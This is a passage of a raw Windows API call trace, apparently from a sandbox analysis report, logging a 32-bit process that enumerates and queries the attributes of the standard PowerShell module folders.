lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0159.973] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.973] FindClose (in: hFindFile=0x3b49e8 | out: hFindFile=0x3b49e8) returned 1 [0159.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0159.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0159.974] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0159.974] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0159.974] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0159.974] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0159.975] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0159.975] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0159.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0159.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0159.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0159.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.976] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0159.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.980] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0159.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.981] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0159.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0159.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.982] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0159.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0159.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.985] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0159.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0159.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.986] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0159.986] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0159.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.987] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0159.987] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0159.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.987] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0159.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.990] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0159.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0159.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.991] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0159.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0159.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.991] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.993] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0159.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.993] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0159.994] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0159.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.994] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0159.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0159.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0159.995] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0159.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0159.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0159.996] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49e8 [0159.997] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.997] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0159.997] FindNextFileW (in: hFindFile=0x3b49e8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, 